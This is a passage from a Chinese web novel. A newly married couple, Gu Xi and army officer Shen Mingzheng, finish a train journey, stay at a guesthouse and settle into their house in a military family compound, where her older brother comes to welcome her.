也可能是她的皮肤白,只要没休息好,精神颓废,就会显得脸色苍白,给人一种很柔弱的感觉。 在她起身时,对面的沈明峥也跟着坐起,眼神清明,似乎也没怎么睡。 他关切地问:“不睡了吗?” “不睡了,睡不着。”顾溪打了个哈欠,觉得昨晚根本就没怎么睡。 两人轮着去卫生间洗漱,总要有一个人留在车厢里看行李,以免被人趁机偷了。这种事很常见,毕竟这年头的监控不发达,再加上列车上人员往来,鱼龙混杂,还是小心些比较好,要不然被人摸走了行李,可是一大损失。 等顾溪洗漱回来,刚坐了会儿,就见沈明峥带了早餐回来。 早餐有包子和饺子,特别是一个个刚煮出来的、白白胖胖的饺子,看着就诱人,让原本没什么胃口的顾溪也多了几分食欲。 “车上也有饺子的吗?”她有些稀奇。 沈明峥将装饺子的铝饭盒放到桌上,递给她一双筷子,说道:“这是列车长让人做的。” 昨晚将小偷扭送到列车长那里后,他和列车长说了声她身体不太好、胃口也不好的事,列车长是个聪明人,再加上顾溪捉人贩子、捉小偷,对他们挺有好感的,便让车上的厨师特地给她做了饺子。 顾溪只是愣了下,便明白他的意思。 这应该是他和列车长说了什么,才会特地关照他们。 心情有些复杂,有一种说不出的动容。 或许是她这辈子能得到的关心实在太少了,只要别人给予的一点点关怀,都会让她触动,更不用说像沈家人这样毫无保留的关怀爱护,很难让人抗拒。 顾溪咬了一口饺子,突然说:“大哥,昨天……你为什么会相信我?” 要是那妇女不是人贩子,是她误会了,只怕会对他有很大的负面影响。像他这样的军人,应该首先抱持怀疑的态度才对,而不是二话不说,就直接站她。这显得他亲疏不分。 沈明峥微微一怔,很快就反应过来,明白她的意思。 没想到她会突然问这个,昨天没见她问什么,还以为她不在意。 他看着她倦怠苍白的面容,声音沉稳:“我知道你不是无的放矢的人,你既然觉得她是人贩子,那肯定有你的理由。如果真的错了,那我愿意承担我的失责!我不会冤枉任何一个好人,但也不能放过任何犯罪,这是我的职责!” 其实,他比她想象中要了解她,知道她绝非那种没有证据就出手的人。 但相应的,他也愿意去承担她失误的后果,这是他作为丈夫必须要做的,不管在任何时候,他都应该相信她。 只要她不是犯原则性的错误,他都应该第一时间站在她这边。 顾溪怔怔地看他,然后低下头,红晕从脸颊弥漫到耳廓。原来被人如此坚定地信任着的感觉是如此的美好!原来有个可靠的人给她当后盾、不管她做什么都愿意去承担的感觉如此的好! “谢谢。”她小小声地说,“以后我做事会更谨慎的,不会……连累你的。” 他相信她,那她也应该更谨慎,不能给他带来麻烦,影响到他。 他热爱着他的这身军装,她也敬佩这群可爱的人。 沈明峥看到她红通通的耳廊,她的皮肤太白,脸上稍微发红,很容易就能看出来,实在可爱。原来女同志都是这么可爱的吗?他伸手摸了摸她的脑袋,声音温和:“顾溪,你永远都不必和我道谢。” ** 顾溪的胃口不大,只吃了七个饺子,剩下的都给他吃。 “真的不吃了?”沈明峥拧眉,觉得她吃得太少了,这饺子其实包得不够大,毕竟不是自己家包的,不会特地往大来包,在他看来挺小的。 她摇头,摸了摸胃部,“已经够了,不能吃太多,会吐的。” 听她这么说,沈明峥不再勉强,将剩下的饺子都吃了,还吃了三个包子。 他是男人,平时运动量大,胃口大些是正常的。 在他们吃完早餐时,列车停了。 正好到了这边的省城。 两人坐在车厢里,看着陆续下车或上车的人。 沈明峥说:“列车经过省城后会继续前行,晚上七点左右到宇城站,咱们先在城里的招待所住一晚,明天中午可以坐部队的车回去,大概两到三个小时就能到音部队人。” 顾溪哦一声,想到晚上就到地方,多少有些期盼。 不说车里休息不好,就是现在天气热,一天不洗澡就觉得浑身难受得厉害,昨天睡觉前,她只在车上的卫生间用打湿的毛巾擦了擦身体,一个晚上下来,又热出一身的汗。 等列车重新启动时,他们这节车厢来了两个乘客。 是一男一女,二十左右的年纪,大包小包地拎上车。 经过一番友好的交流,顾溪得知他们是下乡的知青,前些天回省城探亲,参加家中兄长的婚礼,探亲完继续下乡。 正好大家的目的地都一样,都是在宇城到站下车,而且他们下乡的地方,正好是部队附近的一个农场。 这两个知青,男知青叫甘栋梁,戴着眼镜,斯斯文文的,看着是那种知识份子。 女知青叫程圆圆,脸蛋圆圆的,是一种可爱女生类型。 两人的父母都是省城机械厂的干事,从小在一个家属院里长大,因为太熟悉了,两人的关系就像兄妹,下乡后也是互相照顾。 程圆圆是个很热情开朗的姑娘,一看就知道从小没吃过苦头的那种,就算下乡后,也没有磨去性子,这大概也有甘栋梁照顾有关。 自从进车厢后,看到车厢里坐在一起的男女,程圆圆就在心里哇的叫一声。俊男美女,实在太养眼了。得知两人是夫妻,也不知道想到什么,她的脸蛋红通通的,时不时瞄着他们。 甘栋梁看她这副德行,暗暗喊糟。 车厢里那个叫沈明峥的男人,高大健壮,气质冷硬,一看就是不好惹的主,她这种鬼鬼祟祟的模样,很容易招人误会,万一被人家误会怎么办? 程圆圆试着和顾溪搭话,发现看起来神色冷淡的美女居然意外的好脾气,不管自己说什么,她都会搭话,胆子瞬间就大起来。 “你们是刚结婚的夫妻吗?哎,因为你看起来就像刚满十八岁的样子,不像结婚很久的,所以我就猜你们是刚结婚的……啊,你爱人是部队的啊?真好啊,我们这边有个说法,嫁军人当军嫂是最光荣的…… 顾溪并不讨厌程圆圆的热情,感觉她和沈明嵘有些像,都是那种像小狗一样的性子,对人很亲近、很会自得其乐。当然,这也和程圆圆的分寸拿捏得好有关,显然家教是不错的。正好坐车挺无聊的,有个人说话也好,沈明峥明显就不是个适合聊天的对象,虽然不管她问什么,他都会回答。 程圆圆将家里给她准备的各种零食都拿出来,放到桌上请他们吃,其中有一种这边省城特有的腌渍甜梅非常合顾溪的胃口,甜中带着些微的酸,很是醒神,吃了都精神一些。顾溪也请他们吃糖和水果、点心。 沈明峥坐在旁边,听着两个女同志聊天,见顾溪吃到甜梅时,脸色好了许多,看程圆圆的目光温和不少。 甘栋梁发现他脸上的变化,总算松口气。 他刚才差点就被程圆圆的口无遮拦给吓住,担心她问东问西,引来人家的不快。虽说这年头的人都赤诚,出门在外,大家脾性不错的,都愿意交个朋友,但有些人并不喜欢陌生人问东问西,人与人之间还是要有些边界感的。幸好人家女同志不介意,这位军人大哥对他的妻子很上心,见妻子高兴,没有说什么。 程圆圆是个存不住话的,在交流中,顾溪连他们家有几口人,家里人干啥的都知道得一清二楚。他们两人的家境还算是不错的,要不然也坐不起卧铺。 有人聊天,时间过得也快。 晚上七点多,列车终于到站。 程圆圆和甘栋梁的行李并不多,热情地询问需不需要他们帮忙拿行李。 顾溪谢过他们,“不用,我们的行李也不多,可以自己拿的。” 沈明峥一个人就可以拎完两个行李袋,她只需要拿剩下没吃完的食物就行。 下了车后,四人在车站前分别。 程圆圆和甘栋梁在城里有亲戚,他们今晚可以去亲戚家借住,等明天早上再去农场那边。顾溪和沈明峥则去附近的招待所。 到了招待所,刚进去,就见守着招待所里的大姐惊喜地看过来。 “是沈同志啊,你这是探亲回来了?”大姐长着一张国字脸,容貌不出众,是个爽快的性子,显然是认识沈明峥的,当看到跟着沈明峥的顾溪时,又热情地笑道,“这是你刚结婚的爱人吧?好俊俏的闺女。” 沈明峥朝她叫了一声“钟大姐”,介绍道:“这是我爱人,顾溪。”然后又对顾溪说,“顾溪,这是钟大姐。”顾溪乖乖地叫人:“钟大姐。” 钟大姐没有看他们的介绍信和结婚证什么的,直接热情地带他们到楼上的一个房间。 房间很干净,里头有两张单人床。 钟大姐去拿了个装满水的热水瓶过来给他们,一边说道:“顾同志要不要洗个澡?下面的卫生间可以洗澡,有热水哩。” 一般招待所是不提供热水洗澡的,这是钟大姐特地给他们准备的。 沈明峥道了一声谢,说道:“麻烦钟大姐了。” 钟大姐笑道:“有啥麻烦的?有啥需要就和我说,千万别客气啊,沈同志可是军人呢,咱们要给军人优先嘛。” 其实并不是如此,一听就只是借口,特地照顾他们的。 顾溪哪里看不出来,钟大姐和沈明峥的关系不一样,将他当自己人看待的。 接着钟大姐又给他们端了晚餐过来。 是两碗自家煮的面,里头放了些碎肉和青菜、香葱,卧了个荷包蛋,面条虽是挂面,汤底却是骨头汤,十分浓郁香鲜。 “来来来,这是我闺女煮的面,你们应该饿了,垫垫肚子。”她笑着说,“上车饺子下车面,比较简陋,你们别嫌弃啊。” 沈明峥自然又是一番感谢。 钟大姐朝他们摆了摆手,让他们吃面,便风风火火地离开了。 沈明峥拉着顾溪坐下,两人对着坐下吃面。 “以前部队救灾时,我救过钟大姐的孩子。”沈明峥一边吃一边说,“每次来宇城,如果赶不及回部队,就在这边招待所住下,一来二去便熟悉了。” 顾溪恍然,怪不得钟大姐对他如此热情,有这份救命恩情在,加上他又是军人,这年头的百姓对军人都有极大的好感。 一碗汤面下肚,顾溪有种活过来的感觉,终于不再恶心得厉害。 可能也是终于不在车里了,脚踏实地,没有那么闷。 吃过面后,休息了会儿,便找衣服去洗澡。沈明峥陪她到楼下的卫生间洗澡,在她洗澡时,站在门口处守着。等她洗完澡,便换他去洗。 因为是出门在外,不方便洗衣服,沈明峥将两人换下来的脏衣服用一个特地备着的布袋装起来,等明天到了部队那边再洗。等他们都洗漱完,时间已经不早。 虽然是双人间,其实房间里的两张床都是单人床,顾溪挑了一张靠里头的床躺下。床单很干净,没什么异味,应该是特地晒过的。 这两天在车上没休息好,顾溪躺在床上,没一会儿就迷迷糊糊地睡过去。 意识朦胧中,感觉有人上了床,躺在她身边,硬是跟她挤一张床,将她搂住。 她含糊地说:“那边有床…. 单人床实在挤了些,不像家里的双人床。 沈明峥没理会她的话,拥住她的身体。 只要抱过老婆后,男人便不会想要自己一个人睡。 虽然前二十几年都是一个人睡过来的,但男人可能骨子里都有一种温香软玉在怀的欲念,他觉得抱着她睡,会让他的睡眠质量更好,心里更踏实,也舍不得放开她。 一觉睡到天亮。 顾溪醒来时,发现自己被身后的男人紧紧地搂着,将她箍在怀里,动弹不得。 也亏得她从小就和两个妹妹一起睡,习惯了妹妹紧挨着她,心里也愿意有个人陪着,要不然按他这种抱法,正常人肯定都睡不香,嫌弃地将他踢开。 明明有两张床,他偏偏和自己挤一张,挤得两人浑身都是汗,衣服都湿了。更过分的是,他居然上半身是光着的,汗水都被她的睡衣吸收。 顾溪困难地拍了拍他,含糊地说:“大哥,放开,我要起了。” 男人拥紧她,声音带着惺忪的睡意,说道:“时间还早,部队的车要到中午才回去,可以再睡会儿。” 顾溪:“我要上厕所。” 沈明峥终于松开手,由她窸窸窣窣地下床。 等顾溪解决生理需求,又洗了个脸、换了身干爽的睡衣回来,爬上床后,又被也从卫生间回来的男人探臂拥在怀里。 她靠在他怀里,一时间有些睡不着。 就着从窗帘泄入的晨光,她看着他沉睡的面容,许是睡梦之中,他的神色放松,没有清醒时那么冷硬严肃,英俊的面容更是性感得一踏糊涂,直戳人心,很容易就勾得人心思蠢动。 顾溪被美色迷糊了下,没忍住,凑过去亲了他的脸一口。 刚亲完,就见他睁开眼睛。 昏暗的光线中,她看不清他眼里的情绪,只觉得这双眼睛很幽深,正有些尴尬时,突然他按住她,狠狠地吻了过来…… 41、第41章 顾溪许久都没回过神来。 被人抱起时,她下意识地往他怀里靠了靠,尔后才反应过来,满脸通红,甚至有些羞恼。 “你、你怎么能……. 沈明峥神色平淡,脸上的表情虽然比在外时要柔和一些,但也看不出什么情绪,只有耳尖有些泛红,只是室内拉着窗帘,光线较暗,让人也看不清楚。他伸手将黏在她颊边汗湿的发捋起,低头吻她红润的脸蛋,漫不经心地嗯一声,也不知道是在附和她还是其他。 昏暗简陋的室内,两人窝在一张狭窄的床上耳鬓厮磨,呼吸交融,滚烫的汗水不分你我,浸染彼此的肌肤。直到她的肚子响起咕噜噜的叫唤声,他不舍地放开她,下床去给她找衣服。 顾溪将身体缩在被单里,藏住自己红通通的脸蛋。 她真的没想到要在这种地方…. 眼睛不由自主地看向垫在身下的衣服,被弄得皱巴巴的,上面还有可疑的水渍……幸好没有弄脏人家的被单,不然岂不是让人知道他们在招待所里干了什么? 沈明峥从行李袋拿出干净的衣服,自己将衣服穿上,然后拿了一套去给她。 见她像只驼鸟似的将自己藏在被单里,他的眼里露出笑意,伸手将她从里头挖出来,“穿衣服,我们出去吃早饭。” 顾溪扯着被单,怕他要给自己穿衣服,闷闷地说:“给我,我自己穿。”沈明峥有些遗憾,不过也怕折腾太久对她的胃不好,没有再做什么。 两人穿戴整齐,洗漱完毕,便离开了房间。出门时,发现守着招待所的是钟大姐的女儿,一个十六七岁的小姑娘。她打了声招呼,“沈大哥,你们要出去?” 沈明峥朝她微微颔首,应了一声,领着顾溪离开。 顾溪能感觉到钟大姐女儿看过来的目光,大多放在沈明峥身上,心里有几分明悟。 十六七岁的少女正是情窦初开的年纪,对长得好看又优秀的异性心生好感是正常的。 想到昨晚的那两碗面,心知这小姑娘虽然有些心思,但人有分寸,等长大后会明白过来,那不过是少女时期的一种朦胧好感。 离开招待所后,沈明峥带顾溪去附近的国营饭店吃早饭。现在已经过了早饭时间,饭店里没什么人,很快就将他们点的肉丝面送上来。 面很劲道,汤也很鲜美,可见饭店里的师傅是有真功夫的。这年代虽然缺衣少食,但食材真的很好,都是纯天然的,只要用心烹饪,很少有不好吃的。顾溪常见未来的人在网络上抱怨食物已经没了过去的味道,她也没尝过未来的食物,不知道是不是,不过吃到美食时,确实让人心情愉快。 吃过面后,沈明峥带她去市里的百货商场。 他向她介绍:“部队有供销社,不过供销社的东西不多,有些东西要来市里的百货商场买…… “离部队最近有个镇,骑自行车大概半个小时就能到,不过镇上的东西也不多,倒是农历初一和十五有集市,集市很热闹,附近村里和农场的人都会带一些自家的农副产品去集市卖…… 顾溪默默地听着,发现部队的情况没有想象中那么糟。 至少不是在深山之中,要花费 天时间,还要转车才能去市里买东西的那种。 到了百货商店,沈明峥说:“看看有什么缺的,买些回去,可以让部队的车帮忙拉回去,不用担心。“ 顾溪哦一声,有些茫然,“那家里有缺什么吗?” 这是两辈子以来,第一次离开长辈单过,她还真不知道缺什么,要买什么。 沈明峥一个人在外十几年,比她的生活经验要丰富,略一想就列出一些要买的,带她去买了暖水瓶、锅碗瓢盆等,以及一些笔墨纸砚的东西,还有女同志要用的雪花膏之类的…. 在他买雪花膏时,顾溪睁大眼睛,“你怎么……. 他怎么比她这女生还懂? 沈明峥说道:“以前听战友说,他的媳妇喜欢用这个,等天气凉了,皮肤容易干躁开裂,擦这个好。” 顾溪哦一声,暗忖你们这些男同志平时到底在聊些什么? 不会都聊女人有关的事吧? 这么想着,她抬头看他,对上他冷硬严肃的面容,有种凛然不可侵之感,觉得自己这么想好像在亵渎他身上的军装。 最后还买了不少吃食,有糖果点心和做饭的一些调味料。 沈明峥道:“如果不想做饭,可以吃食堂,不过食堂的一些大锅饭味道不太好。” 他舍不得亏待她,她平时吃得那么少,要是不好吃的,岂不是吃得更少? 所以吃饭这事,若是时间充足,还是在家里开火。 顾溪没意见,她也觉得在家里做饭比较好,主要是想吃啥就做啥舍,她对自己的手艺还是有自信的,毕竟回到顶家后做了五年的饭,就连那些挑易的顾家人都觉得她做得可以而且她还知道很多后世的菜怎么做,当阿飘时没少去蹭人家的网络,看了不少美食视频,可以学着做,那种复杂的做不了,简单的还是可以做的。 这么一想,顾溪对这个未来越发的期盼。 活着,似乎是一件非常美好的事。 买的东西太多,用来装东西的布袋鼓鼓囊囊的,沈明峥的另一只手还提着用麻绳系好的大件物品。 两人就像出来大采购,看到就买,买得太多,都不知道自己买了啥。 要不是顾溪阻止,可能他还要继续买。 她有些汗颜,“大哥,先这些吧,再多咱们提不回去。” 沈明峥道:“没事,一次性买完,省得回去缺这个缺那个,不方便。” 他的主张是,要买就一次性买齐,不必她操心。 最后两人手里都提着东西回招待所,看得钟大姐目瞪口呆,问道:“你们咋买这么多东西?”这是要搬家不成? 沈明峥道:“我爱人第一次随军,以后住在部队里,想将东西办齐全些,就不用再出来买。”钟大姐点头,“是这个理,布置一个家不容易,一次性买完也好。” 回到招待所,时间已经差不多,两人收拾东西准备离开。 他们去退了房,沈明峥结算房钱时,送了钟大姐一袋点心和水果,感谢她对他们的照顾。 钟大姐推辞不过,只好收下,关心地问:“你们部队的车停在哪?要不要我送你们过去?这么多东西可不好拎啊。”她看向顾溪,她是第一次见到长得这么俊的闺女,像唱戏里的仙女似的,就是太瘦弱了,给人一种很脆弱的感觉,估计让她拎个热水瓶都要担心她会累着。 沈明峥道:“不用麻烦。” 钟大姐觉得这不是麻烦,很热心地帮忙将他们送过去。 她原本还想帮忙多拿一些的,担心顾溪拿不动,哪知道就见顾溪左手拎起一个行李袋,右手拎起一个装食物的布袋,轻松自如地和他们走出招待所。 先前行李少,都是沈明峥拿着,现在买了那么多东西,沈明峥双手都拿满了,顾溪自然也要帮着分担一些。沈明峥想到她的力气似乎不小,见她没有勉强,便给她拿着。 见钟大姐看过来,顾溪不解地看她。 “哟,你这闺女的力气可真大。”钟大姐夸道,发现这女同志原来不如想象中那么脆弱,是个能干活的。 顾溪腼腆地笑了下,说道:“以前在乡下干农活练出来的。”确实是从小就练出来的,不过她的力气也比普通人要大一些,可能再加上当过阿飘,多少影响了些,重生后力气好像更大,才能打得顾远辉嗷嗷叫。也不知道这算不算当了几十年阿飘的补偿。 “哎呀,你这闺女还干过农活啊,实在看不出来。” 钟大姐的态度变得越发的热情,看顾溪的眼神哪都稀奇,觉得她和沈明峥再相配不过。 像沈明峥这样年轻有为的军官,容貌出众,钟大姐也升起过要给他做媒的念头,这也是很多像她这样的妇女都会干的事,见到优秀的年轻人,就想给他们做媒。 哪知道人家早有未婚妻了,只是等未婚妻读完书,然后再结婚。 先前还想过他的未婚妻是什么样的,见过人才知道,这长得也太好看了,不像个能干活的,结果是自己看走眼。 钟大姐祖上八辈子都是农民,后来嫁到城里,不过她的骨子里仍觉得自己还是农民,是个热爱工作,行事风风火火的。她就喜欢这种能干活的闺女,以为是个城里的娇小姐,哪知道是同路人。这让她觉得顾溪更亲切了,因为她太过出众的容貌而产生的距离感瞬间就消除。 三人来到招待所附近的一条街,就在路边等着。 一般部队的车来城里时,如果有谁要坐车回部队,可以在这里等待。 钟大姐送到这里后便离开了,沈明峥和顾溪站在树荫下等。 这时已经接近午时。 先前吃早饭比较晚,两人都不饿,没再去吃东西,只买了些包子点心的备着,要是饿了可以在车上吃。 等了约莫十分钟,一辆吉普车朝这边驶来,停在路边。车门打开,就见一个皮肤黝黑、精神抖数的小战士跳下车,高兴地叫道“沈团长,你回来啦。”说着他的目光落到顾溪身上,顿时暧大眼睛,有些害羞地说,“这、这是嫂子吧?”这位嫂子也长得太好看了,好年轻啊,看着像刚满十八岁。 沈团长这次请假回家结婚的事,部队里的人都知道。 这会儿看他身边站着的年轻女同志,便知应该是他新婚的妻子。 沈明峥叫了一声“小方”,介绍道:“这是我爱人顾溪,这是方勇智。” “方同志。”顾溪朝小方打招呼。 小方忙摆手,“嫂子叫我小方就行。” 小方帮忙搬东西上车,一边说道:“沈团长,咱们等会儿还要去接旅政委,他今天出来办事。” 沈明峥恍然,原本以为今天过来接他们的是部队后勤采购的车,没想到会是这辆,便知道是有干部出来办事。 将行李搬到后车箱,三人便上了车。车开往市委大院,接到了旅政委。旅政委是个看起来很精神的中年男人,穿着军装,身材有些发福,人笑呵呵的,很是亲和。 彼此又是一番介绍。 旅政委亲切地表示对顾溪的欢迎,笑道:“咱们一直担心沈团长的终身大事,现在他总算结婚,咱们也放心了。以后你们好好处着,好好过日子,顾同志有什么麻烦可以反应给组织…… 一通漂亮的场面话下来,顾溪只有应的份。 旅政委不愧是搞政治思想工作的,说起话来一套一套的,顾溪都应着,看起来很是乖巧。 这一路上,听着旅政委和沈明峥聊天,虽然都是旅政委说,沈明峥只是应着,不过也不算无聊。约莫三个小时,终于抵达部队。 只见部队门岗处是端着枪支、站姿笔挺的战士。车开进去,发现里头很大,部队是依山而建,房子错落有致地排列着,家属院就在山脚下,不远处还有一条河流。这里都是平房,房子排列而去,数量并不少。 车一路开进家属院,在靠边缘的一栋平房停下。已经是下午,在车开进来时,引来不少人的注意。家属院靠大门那边有几棵茂盛的大树,形成一片林荫,还有一个供人休息乘凉的凉亭,像是一个聚集地,里头有不少妇女在那里坐着干活、聊天。 看到有车过来,大伙儿纷纷探头张望,一边闲聊着。“哎哟,这是哪家的家属来了?”“最近有哪位营长或团长的家属要随军的吗?”一般车开进来的,都是送家属过来,主要是带的行李太多,得送到门口才行。 “好像二旅那边有位副营长申请房子。”“三旅也有营长申请……. “现在申请房子的都不好,只能申请平房,要是两年前,说不定还能申请那边的新楼房。”“是啊,楼房多好啊,我也想住楼房,可惜当初抽签时,没抽中。”因楼房数量有限,部队采取抽签制,只有抽中的才能搬去楼房。 “楼房看着好,其实很不方便,听说房子的面积很小,比不过平房这边,还没地方种菜,有时候还会断水,住得高的,那什么水抽不上去啥的。”“那看来平房确实好,带有个院子,想种点啥青菜吃也方便。”“可是平房很破啊,蚊虫又多,我还是喜欢住干净的楼房。” 众人正聊着,看到车停的地方,终于明白是哪家的家属过来。“原来是那位沈团长的家属。”“听说他这个月请假回去结婚了,这是带他的爱人过来吧?” 有人酸溜溜地说:“也不知道他爱人长啥模样,听说是城里的,估计是个不能干活的,也不知道会不会拖累沈团长?要我说,男人娶媳妇,还是娶个能干活的,他们出任务时也能放心。我当初还想将我娘家的侄女介绍给他呢,可惜他居然已经有未婚妻了。” 旁边和她不对付的人看不惯她那酸样,当即说道:“介绍啥啊!我说万翠花,你娘家侄女那磕碜样,还好意思介绍给人家沈团长?就算沈团长没未婚妻,人家也看不上你娘家的侄女。” “胡说八道,我娘家侄女哪里不好?她下地干活,一天可以挣十个工分,比男人还厉害!” “我也没说她不好,是你妄想将你娘家侄女嫁给沈团长,好拿彩礼吧?你也好意思,这事还没成呢,居然开口就要一千块的彩礼,谁敢娶哦?” “关你啥事?你屁话也太多了。” “哟,这是恼羞成怒了吧?你敢提,还怕人说吗?” “你……我和你拼了!” 两个女人瞬间就打起来,很快牵连到旁边人,不过一会儿,就演变成打群架。 “啊啊——你们别打了!” 另一边,顾溪刚下车,就懵逼地朝那边看过来。 这边的混乱,就算远远的也能看到,也不知道发生啥事,好像是有人打架了。 旅政委还在车里,原本是想过来看看沈明峥这边有什么需要帮忙的,毕竟军嫂随军不容易,他作政委的也得多关心他们的需求。哪知道居然有军属打架,这不是给刚来的军嫂树立坏榜样吗? 小方也是一脸尴尬之色。他以前就听说有些嫂子们很彪悍,一言不合就打架,打起来可比男人凶多了,因为嫂子们打架都是往痛处打,抓脸抓头发是寻常,还会……反正挺可怕的。 他看了一眼顾溪,觉得沈团长的爱人斯斯文文的,应该不是那种会打架的。但万一以后有人和她起冲突,打她怎么办?她这么瘦弱,肯定打不过啊。 42、第42章... 嫂子们的群架最后在妇女主任的调和下解决了。带头打架的军属给予口头警告,下次要是再犯,还会有其他的惩罚。 顾溪没太关注这些,下车后沈明峥拿出钥匙打开门,他们开始搬行李进去。 进门是一个院子,院子的三面围墙不算矮,可以遮挡住外头的视线。靠墙的地方有两棵茂盛的石榴树,正是石榴成熟的季节,树上挂着不少石榴,有青色的,也有红色的,不过个头并不大。除了两棵石榴树外,院子里便没什么东西,能看得出这院子是特地修整过的,虽然生长着杂草,但这杂草并不算茂盛。 从院门口进去,有一条石板路,这石板路一看就是前屋主特地铺的,若是下雨时,踩着石板路不用担心会弄得一脚的泥水。里头是青砖黑瓦的平房,中间是待客的堂屋,左边有两间卧室,右边同样也有两间,一间是做饭的灶房,一间是卧室,靠近厨房的地方还有一口压水井。院子靠墙那边,还修了个厕所和洗浴间。 沈明峥和小方、顾溪一起搬行李进去,旅政委也帮着搬了一些。 因为人多,很快就将行李都搬进去。 将行李放下后,旅政委看了看院子,说道:“这院子不错,还种了两棵石榴,看样子应该种了好些年了。” 这石榴应该是前屋主种的。 前屋主搬去楼房那边,这里就空了出来,空了好段时间,直到被分给沈明峥。刚分到沈明峥手里时,房子看着挺破旧的,连瓦片都碎了不少,沈明峥花钱请人过来修整过。 这事部队里的人都知道,众人没少打趣沈明峥,说他这是重视媳妇,人还没来呢,就忙上忙下,将破旧的平房修整得干干净净的。 旅政委当时也跟着打趣一番,不知道什么样的女同志能拴得住他这活阎王。 直到看到人,他总算明白了。 果然英雄难过美人关,也不怪沈明峥这般上心,这女同志看着斯斯文文的,娶了这样的媳妇,男人哪里舍得让她过苦日子? 小方和旅政委没有多作停留,很快就告辞离开。 知道他们刚搬进来,屋子还没整理好,人家也没什么好招待的,不会留下来给人添麻烦。 送走两人,沈明峥将大门关上。 顾溪在看房子,一边问道:“大哥,咱们住哪个房间?”这里共有三个能住人的房间。 “左边第一间。”沈明峥说道,“席子在柜子里放着,先前已经晾晒过,拿出来铺上就行。” 顾溪走过去,发现左边第一间的房间是最大的,第二间的面积比较小。不过面积小的房间采光不错,可以用来做书房。 她走进第一间房,里头有床、有柜子、有架子和桌椅等,家具十分齐全,而且床是让人新打的,其他的应该是二手的,不过保护得很好,没什么破损的地方。墙面都重新刷了大白,看起来白乎乎的,显得很干净,像新的一样。 沈明峥去压水井那边打水,找了件已经不穿的旧衣服撕开当抹布,开始打扫卫生。 虽然他回京市前打扫过,但半个月时间过去,屋里又积了不少灰尘,还得打扫一下,擦去家具上的灰尘。顾溪要帮忙擦洗,他没有让,说道:“你去整理行李。” 顾溪见他干活挺利落的,于是也没和他抢,开始整理行李。 行李看着挺多的,但新家什么都缺,等她将东西取出来——摆好,发现东西也不算多,甚至还买少了。 就在两人忙碌时,门外响起敲门声。 顾溪在房里将行李袋中的衣服往柜子里放,听到动静走出去,正好看到沈明峥带着一个穿着军装、高大健壮的男人进来。 这男人约莫三十岁,比沈明峥要矮一些,皮肤被晒得微黑,五官俊朗,让她有种熟悉感。 男人看到出现在门前廊下的顾溪时,微微愣了下,朝她露出一个爽朗的笑容,说道:“妹妹,初次见面,我是大哥顾远扬。” 顾远扬? 顾溪总算想起为什么会觉得他熟悉,因为他的五官和顾远征有几分相似。 只不过顾远征没像他晒得那么黑,也没他那么高壮。如果说顾远征是典型的城里男人,那顾远扬就是个风吹日晒出来的糙汉子,一个标准的军人。 顾溪迟疑了下,勉强地叫了一声“大哥”。在叫他“大哥”时,她忍不住看向沈明峥,发现这会儿有两个“大哥”,这称呼是不是有点乱? 顾远扬听到这声大哥,高兴地哎了一声。 他挠了下脑袋,似乎也不知道怎么面对这个陌生的妹妹,有些无措地说:“你们这一路还顺利吧?听说你身体不太好,有什么不舒服的吗?你嫂子是军医,在医院那边工作,你要是有什么不舒服的,可以找她…… 顾溪又看了眼沈明峥,慢吞吞地说:“挺顺利的,我的身体还好,谢谢关心。”然后就不知道说什么了。 她没想到,这个大哥这么快就登门,还以为要等他们修整好,然后再过去拜访的。 顾远扬可能也看出她的不适,轻咳一声,继续说“我和你嫂子预计你们应该是这两天会到部队,已经买好菜,今晚你们就去我们那边吃个饭吧,也算是给你们接风洗尘。” 他一直让人帮忙留意,如果沈团长回来,让人通知他一声。 先前得知这事,便直接请假过来了,正好下午也没什么事。 顾溪闻言,再次看向沈明峥。 这回沈明峥终于开口,“行,那就打扰你们了。” “说啥打扰。”顾远扬耿直地说,“我妹妹来了,我这当大哥的总得要好好地照顾她!妹妹,以后有啥事,直接和大哥说,大哥和嫂子都会帮你。” 这话难得温情,也是出自他的本意。 顾溪抬眼看他,目光很认真,仿佛在确认他说的是真还是假,仍是那副慢吞吞的模样:“哦,那、那多谢大哥。” 许是看出她的不自在,顾远扬没有再拉着她说话,而是问:“你们这边整理得咋样?要不要我帮忙?” “不用了。”沈明峥道,“东西不多,我们可以自己来,你先回去吧,等会儿我们弄好,就去你们那里。” 顾远扬也是没勉强,“那行,我先回去了,等你们过去吃饭。” 等顾远扬离开,顾溪转身回了房,站在那里发了会儿呆。沈明峥走进来,伸手轻轻地拥住她,叫了一声,“溪溪。”顾溪回过神,扭头看他,神色平静,问道:“大哥,怎么了?” 听到这声“大哥”,沈明峥的神色一顿,想到先前她朝顾远扬叫大哥的情景,莫名有些不爽快。虽然顾远扬确实是她的大哥,但这些天,听她叫大哥时,已经听习惯了,有种这是他独有的,哪想到中途插了个“大哥”进来。 虽然心里不爽快,他面上并未显,手指碰了碰她瓷白的脸,说道:“不习惯?”能看出她不知道怎么和顾远扬相处。 顾溪先是点头,然后解释道:“我回到顾家后,从没见过他,他一直在部队….她低下头,小声地说,“我都习惯顾家人忽视我,不将我当家人看待,大家当陌生人处着也好。他突然这样,确实挺不习惯的,我还以为他会和顾远征他们一样的……. 要是顾远扬和顾远征、顾远辉一样,嫌她丢脸,不将她当姐妹看待,她一点感觉都没有。 偏偏他特地过来,言语间很亲切,显然是认她这妹妹的。 她能看得出来,这是顾远扬的本心,不是因为什么原因,只因为她就是他的妹妹罢了,两人之间有血缘关系,是同个妈生的,那便是他关心她、照颅她的理由。 沈明峥神色微黯,突然将她紧紧地拥入怀里。 虽然知道顾家对她不好,但还是第一次亲口听她说出来,让他想起那天在公园见到她时的情景,那时候她面上的茫然、脆弱和崩溃…… 要有多绝望,才会让她在那段日子里,快要崩溃? “顾溪。”他的声音有些沙哑,“你很好,不要质疑自己!大家都会喜欢你,爸、妈、明嵘…….还有我。”不要为那些不值得的人伤心难过。他们会忽视她,厌恶她,是他们的思想有问题! 明明她是一个很善良、纯粹又容易心软、为他人着想的姑娘,有很多美好的品德。 喜欢她是一件很正常的事。 不喜欢她的人,是他们的损失,是他们没有眼光。 顾溪愣了下,明白他在安慰自己,有些想笑,说道:“大哥,我知道的,爸妈和明嵘对我很好,你对我也很好,我很喜欢你们,遇到你们是我最幸福的事。”两辈子,她最惦记着的就是沈家人。 他们无私的付出和爱护,让她终于对顾家给予的伤害释怀。 她现在已经不会再为顾家人对她如何而难受,甚至可以说已经看开。对顾家那些人,她心里已经升不起丝毫的情绪波动,当他们是陌生人一样。 